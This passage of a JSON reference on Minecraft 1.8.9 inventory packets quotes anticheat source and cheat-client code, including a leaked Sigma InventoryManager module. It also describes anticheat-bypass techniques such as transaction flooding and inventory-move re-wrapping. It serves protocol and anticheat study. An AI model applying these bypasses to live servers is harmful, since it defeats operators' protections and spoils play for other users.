     "C0EPacketClickWindow",
     "C16PacketClientStatus",
     "S2FPacketSetSlot"
    ],
    "anticheat": {
     "overview": "C0D is the one serverbound packet in this batch, and it is a state signal: closing a window flips the server-side inventory-open state, which is what inventory-move and chest-stealer detection keys on. Real consumers are Azure InvTweaksA (close while sprinting), Daedalus ActionProcessor (close clears openInventory), Intave InventoryTracker (close state plus the beacon special case) and Kauri's PacketHandler (both directions). The rest is wrappers (Artemis GPacketPlayClientWindowClose, FlopAC WrappedInCloseWindowPacket, BendEye-Perus isCloseWindow) and one keyword hit that never reads the packet: FlopAC InventoryC is a click-delay chest-stealer check driven by WINDOW_CLICK events.",
     "checks": [
      {
       "name": "InvTweaksA (Azure)",
       "found_in": [
        "AimbotPvP-azure-anticheat"
       ],
       "purpose": "Classic inventory-tweaks detection: closing a window while sprinting is the walking-with-inventory-open tell.",
       "how_it_works": "InvTweaksA hooks the inbound packet stream and checks the type: when PacketPlayInCloseWindow arrives while the Bukkit player is sprinting, it calls onViolation with a 60000 ms cooldown. Azure's PlayerStats also records the close-window type in its per-packet stats.",
       "detects": "Inventory-tweaks and chest-stealer clients that close the GUI and keep sprinting, plus the walk-while-inventory-open pattern generally.",
       "detailed_code": "// ===== FILE: AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/invtweaks/InvTweaksA.java =====\npackage us.skidrevenant.azure.check.checks.misc.invtweaks;\n\nimport net.minecraft.server.v1_8_R3.Packet;\nimport net.minecraft.server.v1_8_R3.PacketPlayInCloseWindow;\nimport us.skidrevenant.azure.check.Check;\nimport us.skidrevenant.azure.stats.PlayerStats;\n\n/**\n * @author SkidRevenant\n * at 03/06/2018\n */\npublic class InvTweaksA extends Check {\n    public InvTweaksA(PlayerStats player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceiving(Class<? extends Packet> type, Packet packet) {\n        if (type == PacketPlayInCloseWindow.class && player.getBukkitPlayer().isSprinting()) {\n            onViolation(\"InvTweaks Type A\", 60000L, 0);\n        }\n    }\n}\n// NOTE (AI): The PacketPlayInCloseWindow branch is line 19; Azure PlayerStats.java line 68 also counts the close-window type in its packet stats.",
       "code_source": "AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/misc/invtweaks/InvTweaksA.java",
       "variations": "Azure is the only classic anticheat with a dedicated close-window check. Its PlayerStats counter (line 68) records the type in the same hook. No other classic anticheat in the corpus flags the close packet directly."
      },
      {
       "name": "ActionProcessor close-window state (Daedalus)",
       "found_in": [
        "funkemunky-Daedalus"
       ],
       "purpose": "State sync: a close-window packet clears the openInventory flag that Daedalus's inventory and movement checks read.",
       "how_it_works": "ActionProcessor is fed by PacketListeners, which wraps the inbound close-window packet (line 103) and calls the update overload. The close-window overload sets openInventory = false, paired with the C0B OPEN_INVENTORY branch of the entity-action overload that sets it true. Checks that must know whether the player has a GUI open read the flag.",
       "detects": "Nothing directly: state bookkeeping. It makes GUI-state-dependent checks such as inventory move and click timing accurate.",
       "detailed_code": "// ===== FILE: funkemunky-Daedalus, Daedalus/src/cc/funkemunky/anticheat/api/data/processors/ActionProcessor.java =====\npackage cc.funkemunky.anticheat.api.data.processors;\n\nimport cc.funkemunky.anticheat.api.data.PlayerData;\nimport cc.funkemunky.api.Atlas;\nimport cc.funkemunky.api.tinyprotocol.packet.in.WrappedInCloseWindowPacket;\nimport cc.funkemunky.api.tinyprotocol.packet.in.WrappedInEntityActionPacket;\nimport cc.funkemunky.api.utils.TickTimer;\nimport lombok.Getter;\n\n@Getter\npublic class ActionProcessor {\n    private boolean sprinting, openInventory, sneaking, flyFall, horseJump, isUsingItem;\n    private TickTimer lastUseItem = new TickTimer(10);\n\n    public void update(WrappedInEntityActionPacket packet) {\n        switch(packet.getAction()) {\n            case START_SPRINTING:\n                sprinting = true;\n                break;\n            case STOP_SPRINTING:\n                sprinting = false;\n                break;\n            case OPEN_INVENTORY:\n                openInventory = true;\n                break;\n            case START_SNEAKING:\n                sneaking = true;\n                break;\n            case STOP_SNEAKING:\n                sneaking = false;\n                break;\n            case START_FALL_FLYING:\n                flyFall = true;\n                break;\n            case START_RIDING_JUMP:\n                horseJump = true;\n                break;\n            case STOP_RIDING_JUMP:\n                horseJump = false;\n                break;\n        }\n    }\n\n    public void update(WrappedInCloseWindowPacket packet) {\n        openInventory = false;\n    }\n    \n    public void update(PlayerData data) {\n        if ((isUsingItem = Atlas.getInstance().getBlockBoxManager().getBlockBox().isUsingItem(data.getPlayer()))) {\n            lastUseItem.reset();\n        }\n    }\n}\n// NOTE (AI): The close-window overload is lines 44-46; the OPEN_INVENTORY counterpart is the entity-action overload at lines 15-42. PacketListeners.java line 103 constructs the WrappedInCloseWindowPacket that feeds this processor.",
       "code_source": "funkemunky-Daedalus, Daedalus/src/cc/funkemunky/anticheat/api/data/processors/ActionProcessor.java",
       "variations": "Kauri PacketHandler wraps both directions: the inbound CLOSE_WINDOW branch sets inventoryOpen false immediately (lines 271-273), and the server CLOSE_WINDOW branch defers the same write to a keepalive action (lines 538-540) so the state lands at the client's tick."
      },
      {
       "name": "InventoryTracker close-window state (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Track the player's inventory-open state from the close-window packet, with a workaround for the beacon window that never sends one.",
       "how_it_works": "InventoryTracker subscribes to the CLOSE_WINDOW inbound packet at LOW priority and closes the inventory: receiveCloseWindow calls closeInventory, which flips InventoryMetadata's open state to false. On the open side it special-cases the beacon container: since the client never sends a close packet for a beacon window, opening one skips the open-state update entirely, so the tracking never gets stuck with a stale open inventory.",
       "detects": "Nothing directly: state tracking. The open and close state feeds the inventory-analysis checks, including the ChestStealer violations that the /intave history command reports.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/InventoryTracker.java =====\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.EnumWrappers;\nimport com.comphenix.protocol.wrappers.WrappedChatComponent;\nimport de.jpx3.intave.block.collision.Collision;\nimport de.jpx3.intave.block.type.BlockTypeAccess;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.WindowItemReader;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.UserRepository;\nimport de.jpx3.intave.user.meta.InventoryMetadata;\nimport de.jpx3.intave.user.meta.MovementMetadata;\nimport org.bukkit.entity.Player;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.CLIENT_COMMAND;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\n\npublic final class InventoryTracker extends Module {\n\n  //////////////////////////////////////////////////////////////////////////////\n  // Open Inventory\n  //////////////////////////////////////////////////////////////////////////////\n\n  /**\n   * Tracks if the server forces a player to open an inventory by listening to\n   * the {@link de.jpx3.intave.module.linker.packet.PacketId.Server#OPEN_WINDOW}\n   * packet.\n   */\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      OPEN_WINDOW\n    },\n    ignoreCancelled = false\n  )\n  public void sentOpenInventory(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    InventoryMetadata inventoryData = user.meta().inventory();\n    PacketContainer packet = event.getPacket();\n\n    // For some reason the client doesn't send a close window packet after closing\n    // the beacon window. Therefore, we pretend the player does not have an open\n    // inventory if he opens the beacon window to avoid further issues.\n    WrappedChatComponent chatComponent = packet.getChatComponents().read(0);\n    String json = chatComponent.getJson();\n    boolean clientDoesNotSendCloseWindow = json.contains(\"container.beacon\");\n\n    if (!clientDoesNotSendCloseWindow) {\n      Modules.feedback()\n        .synchronize(player, null, (p, x) -> openInventory(p));\n      inventoryData.forceInventoryOnClickOpen = true;\n    } else {\n      inventoryData.forceInventoryOnClickOpen = false;\n    }\n  }\n\n  /**\n   * Tracks if the client opens the inventory by listening to the\n   * {@link de.jpx3.intave.module.linker.packet.PacketId.Client#CLIENT_COMMAND}\n   * packet.\n   * However, this functionality was removed in Minecraft 1.9.\n   */\n  @PacketSubscription(\n    priority = ListenerPriority.LOW,\n    packetsIn = {\n      CLIENT_COMMAND\n    }\n  )\n  public void receiveClientCommand(PacketEvent event) {\n    Player player = event.getPlayer();\n    EnumWrappers.ClientCommand clientCommand = event.getPacket().getClientCommands().read(0);\n    if (clientCommand == EnumWrappers.ClientCommand.OPEN_INVENTORY_ACHIEVEMENT) {\n      openInventory(player);\n    }\n  }\n\n  /**\n   * Updates the inventory's state of the specified player internally.\n   *\n   * @param player The player\n   */\n  private void openInventory(Player player) {\n    User user = UserRepository.userOf(player);\n    InventoryMetadata inventoryData = user.meta().inventory();\n\n    if (!inNetherPortal(user)) {\n      inventoryData.updateInventoryOpenState(true);\n    }\n  }\n\n  /**\n   * Checks whether the specified user is inside a nether portal.\n   *\n   * @param user The user\n   * @return whether the user is inside a nether portal\n   */\n  private boolean inNetherPortal(User user) {\n    MovementMetadata movementData = user.meta().movement();\n    return Collision.rasterizedTypeSearch(user, movementData.boundingBox(), BlockTypeAccess.NETHER_PORTAL);\n  }\n\n  //////////////////////////////////////////////////////////////////////////////\n  // Close Inventory\n  //////////////////////////////////////////////////////////////////////////////\n\n  /**\n   * Tracks if the server forces a player to close the inventory by listening to\n   * the {@link de.jpx3.intave.module.linker.packet.PacketId.Server#CLOSE_WINDOW}\n   * packet.\n   */\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      PacketId.Server.CLOSE_WINDOW\n    },\n    ignoreCancelled = false\n  )\n  public void sentCloseInventory(PacketEvent event) {\n    Player player = event.getPlayer();\n    Modules.feedback()\n      .synchronize(player, null, (p, x) -> closeInventory(p));\n  }\n\n  /**\n   * Tracks if the player closes the inventory by listening to the\n   * {@link de.jpx3.intave.module.linker.packet.PacketId.Client#CLOSE_WINDOW}\n   * packet.\n   */\n  @PacketSubscription(\n    priority = ListenerPriority.LOW,\n    packetsIn = {\n      PacketId.Client.CLOSE_WINDOW\n    }\n  )\n  public void receiveCloseWindow(PacketEvent event) {\n    closeInventory(event.getPlayer());\n  }\n\n  /**\n   * Updates the inventory's state of the specified internally.\n   *\n   * @param player The player\n   */\n  private void closeInventory(Player player) {\n    User user = UserRepository.userOf(player);\n    InventoryMetadata inventoryData = user.meta().inventory();\n    inventoryData.updateInventoryOpenState(false);\n  }\n\n  /**\n   * Closes a player's inventory if the player dies internally by listening to\n   * Bukkit's {@link org.bukkit.event.player.PlayerRespawnEvent}.\n   */\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      RESPAWN\n    },\n    ignoreCancelled = false\n  )\n  public void sentRespawn(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    InventoryMetadata inventoryData = user.meta().inventory();\n    inventoryData.updateInventoryOpenState(false);\n  }\n\n  @PacketSubscription(\n    packetsOut = {WINDOW_ITEMS}\n  )\n  public void on(\n    User user, WindowItemReader reader\n  ) {\n    if (reader.windowId() == 0) {\n      List<String> collect = reader.itemMap().values().stream().map(itemStack -> itemStack.getType().name()).collect(Collectors.toList());\n      user.tickFeedback(() -> user.meta().inventory().setItems(collect));\n//      System.out.println(collect);\n    }\n  }\n}\n// NOTE (AI): receiveCloseWindow is lines 144-149; the beacon no-close-window workaround is lines 50-63 inside sentOpenInventory. BaseStage.java line 475 reads the ChestStealer violation history produced from this tracker's state.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/InventoryTracker.java",
       "variations": "FlopAC's InventoryC flags chest-stealer behavior from click-delay statistics but never reads the close-window packet; its C0D corpus hit is the flag message text only. Artemis's GPacketPlayClientWindowClose and FlopAC's WrappedInCloseWindowPacket are wrappers, and BendEye-Perus exposes isCloseWindow as a generic packet predicate."
      }
     ]
    }
   },
   "wiki_notes": [
    "Vanilla clients send a close-window packet with window ID 0 to close their own inventory even though no open packet is ever sent for it.",
    "MCP 1.8.9 C0DPacketCloseWindow implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processCloseWindow; wire serde is readPacketData/writePacketData via readByte.",
    "1.8.9 callers: EntityPlayerSP.closeScreen sends new C0DPacketCloseWindow (line 332): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/entity/EntityPlayerSP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0DPacketCloseWindow/",
   "mcp_path": "net/minecraft/network/play/client/C0DPacketCloseWindow.java",
   "group": "play-server",
   "logic_classes": [
    "EntityPlayerSP"
   ]
  },
  {
   "id": "C0EPacketClickWindow",
   "hex": "0x0E",
   "dec": 14,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Click Window",
   "desc": "Player clicks in an inventory window. Handles item moves: pickup, shift-click, number key swap, middle click, drop, drag init, and double-click.",
   "tags": [
    "player",
    "inventory",
    "container",
    "item"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Container window ID"
    },
    {
     "name": "slotId",
     "type": "short",
     "desc": "Slot index (-999=outside, -1=drop)"
    },
    {
     "name": "usedButton",
     "type": "byte",
     "desc": "Mouse button + shift modifier"
    },
    {
     "name": "actionNumber",
     "type": "short",
     "desc": "Transaction ID, incremented server-side"
    },
    {
     "name": "mode",
     "type": "byte",
     "desc": "0=click, 1=shiftClick, 2=numKey, 3=midClick, 4=drop, 5=drag, 6=doubleClick"
    },
    {
     "name": "clickedItem",
     "type": "ItemStack",
     "desc": "Item in slot before the click"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "byte",
     "0=player inv"
    ],
    [
     "Slot",
     "short",
     "-999=outside window"
    ],
    [
     "Used Button",
     "byte",
     "0=left, 1=right + shift"
    ],
    [
     "Action Number",
     "short",
     "Transaction counter"
    ],
    [
     "Mode",
     "byte",
     "0=click, 1=shiftClick, 2=numKey, 3=midClick, 4=drop, 5/6=drag"
    ],
    [
     "Clicked Item",
     "Slot",
     "ItemStack before click"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processClickWindow()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "The server validates every click against its own inventory state: actionNumber must match. If validation fails, S32PacketConfirmTransaction(accepted=false) reverts the client's inventory via S30PacketWindowItems. Almost NO module constructs C0E directly. They call mc.playerController.windowClick(), which sends C0E internally. Rise 6.0 BufferAbuseInventoryMove and RektSky B5 ChestStealer are exceptions that construct C0E directly.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C0E is the inventory click packet: windowId, slotId, usedButton, mode, clickedItem (the server's copy of the stack being clicked), and an action number. The server runs openContainer.slotClick and confirms with S32PacketConfirmTransaction only when the clicked-item copy matches; otherwise it re-sends the whole container. It is the only way to move items programmatically, so every inventory automation module funnels through it, either by constructing it directly or through PlayerControllerMP.windowClick."
     },
     {
      "h": "Vanilla handling",
      "p": "processClickWindow verifies the window id matches the open container and that crafting is allowed, then runs slotClick(slotId, button, mode, player). If the returned stack equals packetIn.getClickedItem() it confirms with S32 (accepted = true) and resyncs; otherwise it stores the action number in a pending map, sends S32 accepted = false, and force-syncs the container. The windowId 0 check matters: clients must match the current window or the click is silently dropped."
     },
     {
      "h": "Why clients touch it",
      "p": "In the 10-client corpus C0E is used by inventory managers (Sigma InventoryManager via PlayerControllerMP.windowClick), inventory-move modules (Rise 5.99 InvMove cancels and re-wraps C0E with C16+C0D), the Rise 6.2.4 BufferAbuseInventoryMove exploit (sends empty C0E packets to abuse the transaction buffer), captcha bots (Rise 5.99 Auto clicks the Redesky captcha item), and Tenacity NoSlowModule (clicks the armor slot to swap the held item). Note that ChestStealer and AutoArmor in this corpus route through C16 open-inventory status, not C0E clicks. LiquidSense Dev overwrites PlayerControllerMP.windowClick to fire a cancelable ClickWindowEvent before every C0E send, and November Recode 2.0 registers C0E in its Lua scripting packet-id map (0x0E) so scripts can observe and cancel it, but ships no click module of its own."
     },
     {
      "h": "Exploit surface",
      "p": "The action number and clicked-item echo are the attack surface. Sending clicks with a stale or forged clickedItem makes the server resync the container, which some disablers use to flood the transaction pipeline. BufferAbuseInventoryMove exploits the server's transaction accounting by sending clicks the server must answer, delaying watchdog's transaction-based checks. The windowId mismatch is a silent drop, which InvMove uses to cancel clicks and re-send them under a fake open-inventory state. LiquidSense's windowClick overwrite computes the container transaction id and then discards it, sending (short) -1; the server never validates the action number against a counter, it only echoes it in the S32 reply, so the click confirms the same way a real id would and the client container counter is left stale."
     }
    ],
    "overview": "The programmatic inventory click. Inventory managers click through it, InvMove re-wraps it, BufferAbuseInventoryMove floods it, and a captcha bot clicks with it. Its confirm/resync loop is what makes it both reliable for automation and exploitable for transaction flooding. LiquidSense Dev adds the ClickWindowEvent mixin that lets any module veto clicks, and November Recode 2.0 exposes the packet to Lua scripts.",
    "server_handling": "processClickWindow: windowId must equal openContainer.windowId and crafting must be allowed. slotClick mutates the container; on clickedItem match the server confirms (S32 true) and resyncs, on mismatch it stores the action number, sends S32 false, and force-syncs all slots. Crafting players get a full container resend instead of a click.",
    "protocol_notes": "Fields: windowId byte, slotId short, usedButton byte, mode byte, clickedItem (ItemStack or null), actionNumber short. Window 0 is the player inventory; chests start at 1. The clickedItem must be the exact stack the server last sent for that slot, which is why clients cache S2FPacketSetSlot/S30PacketWindowItems state.",
    "anticheat_landscape": "Anti-cheats track click rate and window state. Inventory move (clicking while moving) is detected by comparing C0E timing against movement packets; CancelInventoryMove in Rise 6.2.4 exists to cancel the C16 open-inventory status so the server never learns the inventory is open. Transaction flooding via C0E is a disabler vector against Watchdog, which uses transaction gaps to time its checks.",
    "modules": [
     {
      "name": "InventoryManager",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Automatically equip the best armor and tools by clicking the inventory container.",
      "how_it_works": "Sigma InventoryManager scans the container slots, computes protection/weapon scores, and performs shift-clicks and hotbar swaps through mc.playerController.windowClick, which internally constructs C0EPacketClickWindow with the current windowId and the next transaction id. The module guards against concurrent modules (e.g. AutoArmor yields when InventoryManager is on).",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/player/InventoryManager.java =====\npackage info.sigmaclient.module.impl.player;\n\nimport java.util.ArrayList;\n\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemAppleGold;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemAxe;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemBow;\nimport net.minecraft.item.ItemFood;\nimport net.minecraft.item.ItemGlassBottle;\nimport net.minecraft.item.ItemHoe;\nimport net.minecraft.item.ItemPickaxe;\nimport net.minecraft.item.ItemPotion;\nimport net.minecraft.item.ItemSpade;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.item.ItemTool;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S04PacketEntityEquipment;\nimport net.minecraft.network.play.server.S09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S1CPacketEntityMetadata;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.potion.PotionEffect;\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.player.Scaffold;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport info.sigmaclient.util.misc.Timer;\n\n/*\n * Made by LeakedPvP\n */\npublic class InventoryManager extends Module {\n\tpublic static final String BLOCKCAP = \"BLOCKCAP\";\n\tpublic static final String DELAY = \"DELAY\";\n\tpublic static final String ARCHERY = \"ARCHERY\";\n\tpublic static final String FOOD = \"FOOD\";\n\tpublic static final String INVCLEANER = \"INVCLEANER\";\n\tpublic static final String MODE = \"MODE\";\n\tpublic static final String SWORD = \"SWORD\";\n    \n    public InventoryManager(ModuleData data) {   \t   \n        super(data);\n        settings.put(BLOCKCAP, new Setting<>(BLOCKCAP, 128, \"Max blocks allowed in your inventory.\", 8, -1, 256));\n        settings.put(DELAY, new Setting<>(DELAY, 1, \"Inventory clicks delay.\", 1, 0, 10));\n        settings.put(ARCHERY, new Setting<>(ARCHERY, false, \"Clean bows and arrows.\"));\n        settings.put(FOOD, new Setting<>(FOOD, false, \"Clean food. Keeps Golden Apples.\"));\n        settings.put(SWORD, new Setting<>(SWORD, false, \"Keep only swords as weapon.\"));\n        settings.put(INVCLEANER, new Setting<>(INVCLEANER, true, \"Cleans your inventory for you.\"));\n\t\tsettings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Basic\",new String[] {\"Basic\", \"OpenInv\"}), \"InvManager method.\"));\n    }\n    public static int weaponSlot = 36, pickaxeSlot = 37, axeSlot = 38, shovelSlot = 39;\n    Timer timer = new Timer();\n    ArrayList<Integer>whitelistedItems = new ArrayList<>();\n    @Override\n    public void onEnable() {\n        super.onEnable();\n    }\n    @Override\n    @RegisterEvent(events = {EventUpdate.class})\n    public void onEvent(Event event) {\n        setSuffix(\"dev\");\n        long delay = ((Number) settings.get(DELAY).getValue()).longValue()*50;\n    \tif(event instanceof EventUpdate){\n            EventUpdate em =(EventUpdate)event;\n            String mode = ((Options) settings.get(MODE).getValue()).getSelected();\n            this.setSuffix(mode);\n            Module armor = Client.getModuleManager().get(AutoArmor.class);\n            long Adelay = ((Number) armor.getSetting(AutoArmor.DELAY).getValue()).longValue()*50;\n            String Amode = ((Options) armor.getSetting(AutoArmor.MODE).getValue()).getSelected();\n            this.setSuffix(mode);\n            if(!em.isPre())\n            \treturn;\n            if(timer.check(Adelay) && armor.isEnabled()){\n            \t if(!Amode.equalsIgnoreCase(\"OpenInv\") || mc.currentScreen instanceof GuiInventory){\n                     if(mc.currentScreen == null || mc.currentScreen instanceof GuiInventory || mc.currentScreen instanceof GuiChat){\n                    \t getBestArmor();\n                     }\n                 }\n            }\n            if( armor.isEnabled())\n            for(int type = 1; type < 5; type++){\n        \t\tif(mc.thePlayer.inventoryContainer.getSlot(4 + type).getHasStack()){\n        \t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(4 + type).getStack();\n        \t\t\tif(!AutoArmor.isBestArmor(is, type)){\n        \t\t\t\treturn;\n        \t\t\t}\n        \t\t}else if(invContainsType(type-1)){\n        \t\t\treturn;\n        \t\t}\n            }\n            if(mode.equalsIgnoreCase(\"OpenInv\") && !(mc.currentScreen instanceof GuiInventory)){\n            \treturn;\n            }\n            \n            if(mc.currentScreen == null || mc.currentScreen instanceof GuiInventory || mc.currentScreen instanceof GuiChat){\n            \tif(timer.check(delay) && weaponSlot >= 36){         \n\n            \t\tif (!mc.thePlayer.inventoryContainer.getSlot(weaponSlot).getHasStack()){\n            \t\t\tgetBestWeapon(weaponSlot);\n                \t\n            \t\t}else{\n            \t\t\tif(!isBestWeapon(mc.thePlayer.inventoryContainer.getSlot(weaponSlot).getStack())){           \t\t\t\n                \t\t\tgetBestWeapon(weaponSlot);\n                \t\t}\n            \t\t}\n            \t}\n            \tif(timer.check(delay) && pickaxeSlot >= 36){\n            \t\tgetBestPickaxe(pickaxeSlot);\n            \t}\n            \tif(timer.check(delay) && shovelSlot >= 36){\n            \t\tgetBestShovel(shovelSlot);\n            \t}\n            \tif(timer.check(delay) && axeSlot >= 36){\n            \t\tgetBestAxe(axeSlot);\n            \t}\n            \tif(timer.check(delay) && (Boolean) settings.get(INVCLEANER).getValue())\n                for (int i = 9; i < 45; i++) {\n                    if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                        ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                        if(shouldDrop(is, i)){\n                        \tdrop(i);\n                        \ttimer.reset();\n                        \tif(delay > 0)\n                        \tbreak;\n                        }\n                    }\n                }              \n            }\n    \t}\n    }\n    public void shiftClick(int slot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, 0, 1, mc.thePlayer);\n    }\n    public void swap(int slot1, int hotbarSlot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot1, hotbarSlot, 2, mc.thePlayer);\n    }\n    public void drop(int slot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, 1, 4, mc.thePlayer);\n    }\n    public boolean isBestWeapon(ItemStack stack){\n    \tfloat damage = getDamage(stack);\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(getDamage(is) > damage && (is.getItem() instanceof ItemSword || !(Boolean) settings.get(SWORD).getValue()))\n                \treturn false;\n            }\n        }\n    \tif((stack.getItem() instanceof ItemSword || !(Boolean) settings.get(SWORD).getValue())){\n    \t\treturn true;\n    \t}else{\n    \t\treturn false;\n    \t}\n    \t\n    }\n\n    public void getBestWeapon(int slot){\n    \tfor (int i = 9; i < 45; i++) {\n            if (mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()) {\n                ItemStack is = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n                if(isBestWeapon(is) && getDamage(is) > 0 && (is.getItem() instanceof ItemSword || !(Boolean) settings.get(SWORD).getValue())){\n                \tswap(i, slot - 36);\n            \t\ttimer.reset();\n                \tbreak;\n                }\n            }\n        }\n    }\n \n    private float getDamage(ItemStack stack) {\n    \tfloat damage = 0;\n    \tItem item = stack.getItem();\n    \tif(item instanceof ItemTool){\n    \t\tItemTool tool = (ItemTool)item;\n    \t\tdamage += tool.getDamage();\n    \t}\n    \tif(item instanceof ItemSword){\n    \t\tItemSword sword = (ItemSword)item;\n    \t\tdamage += sword.getAttackDamage();\n    \t}\n    \tdamage += EnchantmentHelper.getEnchantmentLevel(Enchantment.sharpness.effectId, stack) * 1.25f + \n    \t\t\tEnchantmentHelper.getEnchantmentLevel(Enchantment.fireAspect.effectId, stack) * 0.01f;\n        return damage;\n    }\n    public boolean shouldDrop(ItemStack stack, int slot){\n    \tif(stack.getDisplayName().toLowerCase().contains(\"(right click)\")){\n    \t\treturn false;\n    \t}\n    \tif(stack.getDisplayName().toLowerCase().contains(\"§k||\")){\n    \t\treturn false;\n    \t}\n    \tif((slot == weaponSlot && isBestWeapon(mc.thePlayer.inventoryContainer.getSlot(weaponSlot).getStack())) ||\n    \t\t\t(slot == pickaxeSlot && isBestPickaxe(mc.thePlayer.inventoryContainer.getSlot(pickaxeSlot).getStack()) && pickaxeSlot >= 0) ||\n    \t\t\t(slot == axeSlot && isBestAxe(mc.thePlayer.inventoryContainer.getSlot(axeSlot).getStack()) && axeSlot >= 0) ||\n    \t\t\t(slot == shovelSlot && isBestShovel(mc.thePlayer.inventoryContainer.getSlot(shovelSlot).getStack()) && shovelSlot >= 0) ){\n    \t\treturn false;\n    \t}\n    \tif(stack.getItem() instanceof ItemArmor){\n    \t\tfor(int type = 1; type < 5; type++){\n    \t\t\tif(mc.thePlayer.inventoryContainer.getSlot(4 + type).getHasStack()){\n        \t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(4 + type).getStack();\n        \t\t\tif(AutoArmor.isBestArmor(is, type)){\n        \t\t\t\tcontinue;\n        \t\t\t}\n        \t\t}\n    \t\t\tif(AutoArmor.isBestArmor(stack, type)){\n    \t\t\t\treturn false;\n    \t\t\t}\n    \t\t}\n    \t}\n    \tif (stack.getItem() instanceof ItemBlock &&\n    \t\t\t(getBlockCount() > ((Number) settings.get(BLOCKCAP).getValue()).intValue() || \n    \t\t\t\t\tScaffold.getBlacklistedBlocks().contains(((ItemBlock)stack.getItem()).getBlock()))){\n    \t\treturn true;\n    \t}\n    \tif(stack.getItem() instanceof ItemPotion){\n    \t\tif(isBadPotion(stack)){\n    \t\t\treturn true;\n    \t\t}\n    \t}\n    \tif(stack.getItem() instanceof ItemFood && (Boolean) settings.get(FOOD).getValue() && !(stack.getItem() instanceof ItemAppleGold)){\n    \t\treturn true;\n    \t}\n    \tif(stack.getItem() instanceof ItemHoe || stack.getItem() instanceof ItemTool || stack.getItem() instanceof ItemSword || stack.getItem() instanceof ItemArmor){\n    \t\treturn true;\n    \t}\n    \tif((stack.getItem() instanceof ItemBow || stack.getItem().getUnlocalizedName().contains(\"arrow\")) && (Boolean) settings.get(ARCHERY).getValue()){\n    \t\treturn true;\n    \t}\n    \t\n    \tif(((stack.getItem().getUnlocalizedName().contains(\"tnt\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"stick\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"egg\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"string\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"cake\")) ||\n                        (stack.getItem().getUnlocalizedName().contains(\"mushroom\")) ||\n                        